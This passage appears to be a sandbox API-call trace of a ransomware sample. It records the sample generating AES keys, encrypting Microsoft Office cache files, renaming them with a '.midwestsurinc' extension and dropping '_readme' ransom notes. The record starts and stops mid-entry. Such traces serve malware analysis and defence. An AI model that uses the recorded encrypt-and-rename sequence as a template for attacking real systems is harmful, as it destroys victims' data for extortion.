lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x267e00, lpOverlapped=0x0) returned 1 [0092.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x267e00) returned 0x21c0020 [0092.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0092.067] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x267e00) returned 0x1f50020 [0092.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0092.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0092.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x268200) returned 0x21c0020 [0092.153] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x267e00, dwBufLen=0x268200 | out: pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x267e10) returned 1 [0092.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x267e40) returned 0x2430020 [0092.201] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0092.212] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0092.222] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0092.223] WriteFile (in: hFile=0x2e8, lpBuffer=0x2430020*, nNumberOfBytesToWrite=0x267e00, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2430020*, lpNumberOfBytesWritten=0x174fb28*=0x267e00, lpOverlapped=0x0) returned 1 [0092.259] FlushFileBuffers (hFile=0x2e8) returned 1 [0092.275] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0092.275] NtClose (Handle=0x2e8) returned 0x0 [0092.400] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.midwestsurinc")) returned 1 [0092.400] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0092.401] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0092.401] GetLastError () returned 0x2 [0092.401] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86190, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0092.401] GetLastError () returned 0x2 [0092.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0092.401] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0092.401] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0092.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0092.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0092.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0092.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184c620) returned 1 [0092.402] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0092.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0092.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0092.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0092.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0092.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0092.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0092.403] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0092.403] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x565dfcf0, dwHighDateTime=0x1d5dff7)) returned 1 [0092.403] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0092.403] NtClose (Handle=0x2e8) returned 0x0 [0092.404] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0092.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0092.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0092.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0092.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0092.415] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0092.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0092.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0092.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0092.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.415] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1 [0092.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0092.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0092.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0092.416] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0092.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0092.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.416] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1 [0092.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0092.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0092.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.416] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1 [0092.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0092.417] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0092.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0092.417] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc8a9170, dwHighDateTime=0x1d301be)) returned 1 [0092.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0092.417] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0092.417] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0092.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0092.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0092.417] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0092.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0092.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0092.418] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0092.418] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0092.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x740) returned 0x10016e8 [0092.418] ReadFile (in: hFile=0x2e8, lpBuffer=0x10016e8, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x10016e8*, lpNumberOfBytesRead=0x174fb28*=0x708, lpOverlapped=0x0) returned 1 [0092.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x740) returned 0x1780558 [0092.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10016e8) returned 1 [0092.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x740) returned 0x10016e8 [0092.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0092.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1780558) returned 1 [0092.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb40) returned 0x184fc80 [0092.420] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x184fc80*, pdwDataLen=0x174fb24*=0x708, dwBufLen=0xb08 | out: pbData=0x184fc80*, pdwDataLen=0x174fb24*=0x710) returned 1 [0092.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184fc80) returned 1 [0092.420] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0092.420] WriteFile (in: hFile=0x2e8, lpBuffer=0x10016e8*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x10016e8*, lpNumberOfBytesWritten=0x174fb28*=0x708, lpOverlapped=0x0) returned 1 [0092.420] FlushFileBuffers (hFile=0x2e8) returned 1 [0092.423] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0092.423] NtClose (Handle=0x2e8) returned 0x0 [0092.423] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.midwestsurinc")) returned 1 [0092.424] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0092.424] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0092.424] GetLastError () returned 0x2 [0092.424] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf861b0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0092.424] GetLastError () returned 0x2 [0092.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0092.425] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0092.425] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0092.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0092.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf) returned 0xf7d630 [0092.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0092.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0092.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0092.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0092.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0092.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0092.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0092.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0092.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0092.426] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2ed, lpOverlapped=0x0) returned 1 [0092.426] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x56605e50, dwHighDateTime=0x1d5dff7)) returned 1 [0092.426] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0092.426] NtClose (Handle=0x2e8) returned 0x0 [0092.427] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10016e8) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0092.427] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0092.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0092.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.427] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0092.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0092.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0092.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0092.429] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0092.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0092.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.429] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0092.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0092.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0092.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.430] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0092.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0092.430] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0092.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0092.430] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf0126df0, dwHighDateTime=0x1d301be)) returned 1 [0092.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0092.430] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0092.430] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0092.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0092.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0092.430] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0092.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0092.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 